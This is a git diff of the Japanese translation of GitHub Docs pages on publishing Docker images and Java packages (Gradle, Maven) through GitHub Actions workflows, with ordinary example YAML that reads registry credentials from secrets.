-This guide assumes that you have a complete definition for a Docker image stored in a {% data variables.product.prodname_dotcom %} repository. For example, your repository must contain a _Dockerfile_, and any other files needed to perform a Docker build to create an image.
+このガイドは、{% data variables.product.prodname_dotcom %}リポジトリ内に保存されたDockerのイメージについての完全な定義を持っていることを前提としています。 たとえば、リポジトリにはイメージを作成するためのDockerビルドを行うのに必要な_Dockerfile_やその他のファイルが含まれていなければなりません。
 
-In this guide, we will use the Docker `build-push-action` action to build the Docker image and push it to one or more Docker registries. For more information, see [`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images).
+このガイドではDockerの`build-push-action`アクションを使って、Dockerイメージをビルドし、それを1つ以上のDockerレジストリにプッシュします。 詳しい情報については[`build-push-action`](https://github.com/marketplace/actions/build-and-push-docker-images)を参照してください。
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
-## Publishing images to Docker Hub
+## Docker Hubへのイメージの公開
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
-In the example workflow below, we use the Docker `login-action` and `build-push-action` actions to build the Docker image and, if the build succeeds, push the built image to Docker Hub.
+以下のワークフロー例では、Docker の `login-action` アクションと `build-push-action` アクションを使用して Docker イメージをビルドし、ビルドが成功すればそのイメージを Docker Hub にプッシュします。
 
-To push to Docker Hub, you will need to have a Docker Hub account, and have a Docker Hub repository created. For more information, see "[Pushing a Docker container image to Docker Hub](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)" in the Docker documentation.
+Docker Hubにプッシュするためには、Docker Hubのアカウントを持っており、Docker Hubのレジストリを作成していなければなりません。 詳しい情報については、Docker のドキュメントにある「[Docker Hub でイメージを共有する](https://docs.docker.com/docker-hub/repos/#pushing-a-docker-container-image-to-docker-hub)」を参照してください。
 
-The `login-action` options required for Docker Hub are:
-* `username` and `password`: This is your Docker Hub username and password. We recommend storing your Docker Hub username and password as secrets so they aren't exposed in your workflow file. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Docker Hub に必要な `login-action` オプションは次のとおりです。
+* `username`及び`password`: Docker Hubのユーザ名とパスワードです。 ワークフローファイルに公開されないように、Docker Hub のユーザ名とパスワードをシークレットとして保存することをお勧めします。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
 The `metadata-action` option required for Docker Hub is:
 * `images`: The namespace and name for the Docker image you are building/pushing to Docker Hub.
 
-The `build-push-action` options required for Docker Hub are:
-* `tags`: The tag of your new image in the format `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION`. You can set a single tag as shown below, or specify multiple tags in a list.
-* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.
+Docker Hubに必要な`build-push-action`のオプションは以下のとおりです。
+* `tags`: `DOCKER-HUB-NAMESPACE/DOCKER-HUB-REPOSITORY:VERSION` の形式の新しいイメージのタグ。 以下のとおり、単一のタグを設定することも、リストに複数のタグを指定することもできます。
+* `push`: `true` に設定すると、イメージは正常にビルドされた場合にレジストリにプッシュされます。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -82,19 +82,19 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
         with:
           images: my-docker-hub-namespace/my-docker-hub-repository
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -106,16 +106,16 @@ jobs:
 
 The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to Docker Hub, and apply a tag to the image.
 
-## Publishing images to {% data variables.product.prodname_registry %}
+## {% data variables.product.prodname_registry %}へのイメージの公開
 
 {% data reusables.github-actions.release-trigger-workflow %}
 
 In the example workflow below, we use the Docker `login-action`{% ifversion fpt or ghec %}, `metadata-action`,{% endif %} and `build-push-action` actions to build the Docker image, and if the build succeeds, push the built image to {% data variables.product.prodname_registry %}.
 
-The `login-action` options required for {% data variables.product.prodname_registry %} are:
+{% data variables.product.prodname_registry %} に必要な `login-action` オプションは次のとおりです。
 * `registry`: Must be set to {% ifversion fpt or ghec %}`ghcr.io`{% else %}`docker.pkg.github.com`{% endif %}.
-* `username`: You can use the {% raw %}`${{ github.actor }}`{% endraw %} context to automatically use the username of the user that triggered the workflow run. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
-* `password`: You can use the automatically-generated `GITHUB_TOKEN` secret for the password. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+* `username`: {% raw %}`${{ github.actor }}`{% endraw %}コンテキストを使って、ワークフローの実行を始めたユーザのユーザ名を自動的に使うことができます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#github-context)」を参照してください。
+* `password`: パスワードには、自動的に生成された`GITHUB_TOKEN`シークレットを利用できます。 詳しい情報については「[GITHUB_TOKENでの認証](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)」を参照してください。
 
 {% ifversion fpt or ghec %}
 The `metadata-action` option required for {% data variables.product.prodname_registry %} is:
@@ -126,7 +126,7 @@ The `build-push-action` options required for {% data variables.product.prodname_
 * `context`: Defines the build's context as the set of files located in the specified path.{% endif %}
 * `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %}
 * `tags` and `labels`: These are populated by output from `metadata-action`.{% else %}
-* `tags`: Must be set in the format `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
+* `tags`: `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION` の形式で設定する必要があります。 たとえば、{% data variables.product.prodname_dotcom %} の `http://github.com/octo-org/octo-repo` に保存されている `octo-image` という名前のイメージの場合、`tags` オプションを `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest` に設定する必要があります。 You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
 
 {% ifversion fpt or ghec %}
 {% data reusables.package_registry.publish-docker-image %}
@@ -152,14 +152,14 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to GitHub Docker Registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Build and push Docker image
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -173,11 +173,11 @@ jobs:
 The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags.
 {% endif %}
 
-## Publishing images to Docker Hub and {% data variables.product.prodname_registry %}
+## Docker Hubと{% data variables.product.prodname_registry %}へのイメージの公開
 
-In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry.
+単一のワークフローで、各レジストリの `login-action` アクションと `build-push-action` アクションを使用して、Docker イメージを複数のレジストリに公開できます。
 
-The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries.
+次のワークフロー例では、前のセクションのステップ（「[Docker Hub へのイメージの公開](#publishing-images-to-docker-hub)」と「[{% data variables.product.prodname_registry %} へのイメージの公開](#publishing-images-to-github-packages)」）を使用して、両方のレジストリにプッシュする単一のワークフローを作成します。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -198,20 +198,20 @@ jobs:
     steps:
       - name: Check out the repo
         uses: actions/checkout@v2
-      
+
       - name: Log in to Docker Hub
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
           password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
-      
+
       - name: Log in to the {% ifversion fpt or ghec %}Container{% else %}Docker{% endif %} registry
         uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
         with:
           registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
           username: {% raw %}${{ github.actor }}{% endraw %}
           password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
-      
+
       - name: Extract metadata (tags, labels) for Docker
         id: meta
         uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
@@ -219,7 +219,7 @@ jobs:
           images: |
             my-docker-hub-namespace/my-docker-hub-repository
             {% ifversion fpt or ghec %}ghcr.io/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %}
-      
+
       - name: Build and push Docker images
         uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
         with:
@@ -229,5 +229,4 @@ jobs:
           labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
 ```
 
-The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action.
-Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
+The above workflow checks out the {% data variables.product.prodname_dotcom %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action. Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
diff --git a/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
index fa50c59fad..1052162b7d 100644
--- a/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
+++ b/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Gradle
-intro: You can use Gradle to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: GradleでのJavaパッケージの公開
+intro: 継続的インテグレーション（CI）ワークフローの一部として、Javaのパッケージをレジストリに公開するためにGradleを利用できます。
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-gradle
   - /actions/guides/publishing-java-packages-with-gradle
@@ -21,34 +21,34 @@ shortTitle: Java packages with Gradle
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+ワークフローファイルと設定オプションに関する基本的な理解をしておくことをおすすめします。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-For more information about creating a CI workflow for your Java project with Gradle, see "[Building and testing Java with Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)."
+GradleでのJavaプロジェクトのためのCIワークフローの作成に関する詳しい情報については「[GradleでのJavaのビルドとテスト](/actions/language-and-framework-guides/building-and-testing-java-with-gradle)」を参照してください。
 
-You may also find it helpful to have a basic understanding of the following:
+また、以下の基本的な理解があれば役立ちます。
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- 「[npm レジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)」
+- 「[環境変数](/actions/reference/environment-variables)」
+- 「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」
+- 「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow)」
 
-## About package configuration
+## パッケージの設定について
 
-The `groupId` and `artifactId` fields in the `MavenPublication` section of the _build.gradle_ file create a unique identifier for your package that registries use to link your package to a registry.  This is similar to the `groupId` and `artifactId` fields of the Maven _pom.xml_ file.  For more information, see the "[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)" in the Gradle documentation.
+_build.gradle_ファイルの`MavenPublication`セクションにある`groupId`及び`artifactId`フィールドは、レジストリがパッケージをレジストリにリンクするために使用する、パッケージのためのユニークな識別子を生成します。  これは、Mavenの_pom.xml_ファイルにおける`groupId`と`artifactId`に似ています。  詳しい情報については、Gradleのドキュメンテーションの「[Maven Publish Plugin](https://docs.gradle.org/current/userguide/publishing_maven.html)」を参照してください。
 
-The _build.gradle_ file also contains configuration for the distribution management repositories that Gradle will publish packages to. Each repository must have a name, a deployment URL, and credentials for authentication.
+_build.gradle_ファイルには、Gradleがパッケージを公開する配布管理リポジトリの設定も含まれています。 各リポジトリは、名前、デプロイメントのURL、認証のためのクレデンシャルを持っていなければなりません。
 
-## Publishing packages to the Maven Central Repository
+## Maven Central Repositoryへのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすればMaven Central Repositoryにパッケージを公開します。 `release`イベントに関する詳しい情報については「[ワークフローを起動するイベント](/actions/reference/events-that-trigger-workflows#release)」を参照してください。
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ file that points to your package repository.  For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _build.gradle_ could specify a repository with the name `"OSSRH"`.
+_build.gradle_ファイルのpublishingブロックには、パッケージリポジトリを指す新しいMavenリポジトリを定義できます。  たとえば、OSSRHホスティングプロジェクトを通じてMaven Central Repositoryにデプロイしていたなら、_build.gradle_ は`”OSSRH"`という名前でリポジトリを指定できます。
 
 {% raw %}
 ```groovy{:copy}
@@ -74,7 +74,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by running the `gradle publish` command. In the deploy step, you’ll need to set environment variables for the username and password or token that you use to authenticate to the Maven repository. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+この設定で、`gradle publish`コマンドの実行によってパッケージをMaven Central Repositoryに公開するワークフローを作成できます。 デプロイのステップでは、ユーザ名とパスワードのための環境変数か、Mavenリポジトリの認証に使うトークンを環境変数に設定する必要があります。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -103,15 +103,15 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret.
+1. `gradle publish`コマンドを実行して、`OSSRH` Mavenリポジトリに公開してください。 環境変数の`MAVEN_USERNAME`は`OSSRH_USERNAME`シークレットの内容で、環境変数の`MAVEN_PASSWORD`は`OSSRH_TOKEN`シークレットの内容で設定されます。
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## {% data variables.product.prodname_registry %}へのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすれば{% data variables.product.prodname_registry %}にパッケージを公開します。 `release`イベントに関する詳しい情報については「[ワークフローを起動するイベント](/actions/reference/events-that-trigger-workflows#release)」を参照してください。
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}.  In that repository configuration, you can also take advantage of environment variables set in your CI workflow run.  You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret.
+_build.gradle_のpublishingブロックには、{% data variables.product.prodname_registry %}を指す新しいMavenリポジトリを定義できます。  そのリポジトリの設定では、CIワークフローの実行で設定された環境変数を活用することもできます。  環境変数の`GITHUB_ACTOR`はユーザ名として利用でき、環境変数の`GITHUB_TOKEN`には`GITHUB_TOKEN`シークレットを設定できます。
 
 {% data reusables.github-actions.github-token-permissions %}
 
@@ -171,17 +171,17 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. {% data variables.product.prodname_registry %}に公開するために` gradle publish `コマンドを実行してください。 環境変数`GITHUB_TOKEN`には、`GITHUB_TOKEN`シークレットの内容が設定されます。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Maven Central Repositoryと{% data variables.product.prodname_registry %}へのパッケージの公開
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file.
+_ build.gradle _ファイルでそれぞれについて設定すれば、Maven Central Repositoryと{% data variables.product.prodname_registry %}の両方にパッケージを公開できます。
 
-Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider.
+_build.gradle_ファイルに、{% data variables.product.prodname_dotcom %}リポジトリとMaven Central Repositoryプロバイダの双方に対するリポジトリを確実に含めてください。
 
-For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`.
+たとえば、OSSRHホスティングプロジェクトを通じてMaven Central Repositoryにデプロイしていたなら、`name`を`OSSRH `に設定して配布管理リポジトリでそのことを指定できます。 {% data variables.product.prodname_registry %}にデプロイするなら、`name`を`GitHubPackages`に設定して配布管理リポジトリでそのことを指定できます。
 
 If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example.
 
@@ -217,7 +217,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+この設定で、`gradle publish`コマンドの実行によってパッケージをMaven Central Repositoryと{% data variables.product.prodname_registry %}の両方に公開するワークフローを作成できます。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -250,6 +250,6 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. `OSSRH` Mavenリポジトリと{% data variables.product.prodname_registry %}に公開するために` gradle publish`コマンドを実行してください。 環境変数の`MAVEN_USERNAME`は`OSSRH_USERNAME`シークレットの内容で、環境変数の`MAVEN_PASSWORD`は`OSSRH_TOKEN`シークレットの内容で設定されます。 環境変数`GITHUB_TOKEN`には、`GITHUB_TOKEN`シークレットの内容が設定されます。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
diff --git a/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-maven.md
index f87da4e86f..03531784f8 100644
--- a/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-maven.md
+++ b/translations/ja-JP/content/actions/publishing-packages/publishing-java-packages-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Maven
-intro: You can use Maven to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: MavenでのJavaのパッケージの公開
+intro: 継続的インテグレーション（CI）ワークフローの一部として、Javaのパッケージをレジストリに公開するためにMavenを利用できます。
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-maven
   - /actions/guides/publishing-java-packages-with-maven
@@ -21,38 +21,38 @@ shortTitle: Java packages with Maven
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+ワークフローファイルと設定オプションに関する基本的な理解をしておくことをおすすめします。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-For more information about creating a CI workflow for your Java project with Maven, see "[Building and testing Java with Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)."
+MavenでのJavaプロジェクトのためのCIワークフローの作成に関する詳しい情報については「[MavenでのJavaのビルドとテスト](/actions/language-and-framework-guides/building-and-testing-java-with-maven)」を参照してください。
 
-You may also find it helpful to have a basic understanding of the following:
+また、以下の基本的な理解があれば役立ちます。
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- 「[npm レジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)」
+- 「[環境変数](/actions/reference/environment-variables)」
+- 「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」
+- 「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow)」
 
-## About package configuration
+## パッケージの設定について
 
-The `groupId` and `artifactId` fields in the _pom.xml_ file create a unique identifier for your package that registries use to link your package to a registry.  For more information see [Guide to uploading artifacts to the Central Repository](http://maven.apache.org/repository/guide-central-repository-upload.html) in the Apache Maven documentation.
+_pom.xml_ファイル中の`groupId`及び`artifactId`フィールドは、レジストリがパッケージをレジストリにリンクするために利用するパッケージのユニークな識別子を作成します。  詳しい情報については、Apache Mavenのドキュメンテーションの[Guide to uploading artifacts to the Central Repository](http://maven.apache.org/repository/guide-central-repository-upload.html)を参照してください。
 
-The _pom.xml_ file also contains configuration for the distribution management repositories that Maven will deploy packages to. Each repository must have a name and a deployment URL. Authentication for these repositories can be configured in the _.m2/settings.xml_ file in the home directory of the user running Maven.
+_pom.xml_ファイルには、Mavenがパッケージをデプロイする配布管理リポジトリの設定も含まれています。 各リポジトリは、名前とデプロイメントURLを持たなければなりません。 これらのリポジトリに対する認証は、Mavenを実行するユーザーのホームディレクトリ内の_.m2/settings.xml_ファイルに設定できます。
 
-You can use the `setup-java` action to configure the deployment repository as well as authentication for that repository. For more information, see [`setup-java`](https://github.com/actions/setup-java).
+`setup-java`アクションを使って、デプロイメントリポジトリを認証と合わせて設定できます。 詳しい情報については[`setup-java`](https://github.com/actions/setup-java)を参照してください。
 
-## Publishing packages to the Maven Central Repository
+## Maven Central Repositoryへのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすればMaven Central Repositoryにパッケージを公開します。 `release`イベントに関する詳しい情報については「[ワークフローを起動するイベント](/actions/reference/events-that-trigger-workflows#release)」を参照してください。
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, but it also configures a Maven _settings.xml_ for publishing packages. By default, the settings file will be configured for {% data variables.product.prodname_registry %}, but it can be configured to deploy to another package registry, such as the Maven Central Repository. If you already have a distribution management repository configured in _pom.xml_, then you can specify that `id` during the `setup-java` action invocation.
+このワークフロー内では、`setup-java`アクションを利用できます。 このアクションは、指定されたバージョンのJDKを`PATH`にインストールしますが、パッケージの公開のためのMavenの_settings.xml_も設定します。 デフォルトでは、設定ファイルは{% data variables.product.prodname_registry %}に対して設定されますが、Maven Central Repositoryなどの他のパッケージレジストリにデプロイするようにも設定できます。 _pom.xml_に設定済みの配布管理リポジトリがすでにあるなら、`setup-java`アクションの呼び出しの際にその`id`を指定できます。
 
-For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _pom.xml_ could specify a distribution management repository with the `id` of `ossrh`.
+たとえば、OSSRHホスティングプロジェクトを通じてMaven Central Repositoryにデプロイしていたなら、_pom.xml_ は`ossrh`の`id`で配布管理リポジトリを指定できます。
 
 {% raw %}
 ```xml{:copy}
@@ -69,9 +69,9 @@ For example, if you were deploying to the Maven Central Repository through the O
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by specifying the repository management `id` to the `setup-java` action. You’ll also need to provide environment variables that contain the username and password to authenticate to the repository.
+この設定で、リポジトリ管理の`id`を`setup-java`アクションに指定してやることで、パッケージをMaven Central Repositoryに公開するワークフローを作成できます。 リポジトリの認証のために、ユーザ名とパスワードを含む環境変数を提供する必要もあります。
 
-In the deploy step, you’ll need to set the environment variables to the username that you authenticate with to the repository, and to a secret that you’ve configured with the password or token to authenticate with.  For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+デプロイのステップでは、リポジトリに認証してもらうユーザ名と、認証のためのパスワードあるいはトークンで設定したシークレットを環境変数に設定する必要があります。  詳しい情報については、「[暗号化されたシークレットの作成と利用](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
 
 {% raw %}
@@ -101,25 +101,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also configures the Maven _settings.xml_ file to add authentication for the `ossrh` repository using the `MAVEN_USERNAME` and `MAVEN_PASSWORD` environment variables.
+1. プロジェクトのリポジトリのコピーをチェックアウトします。
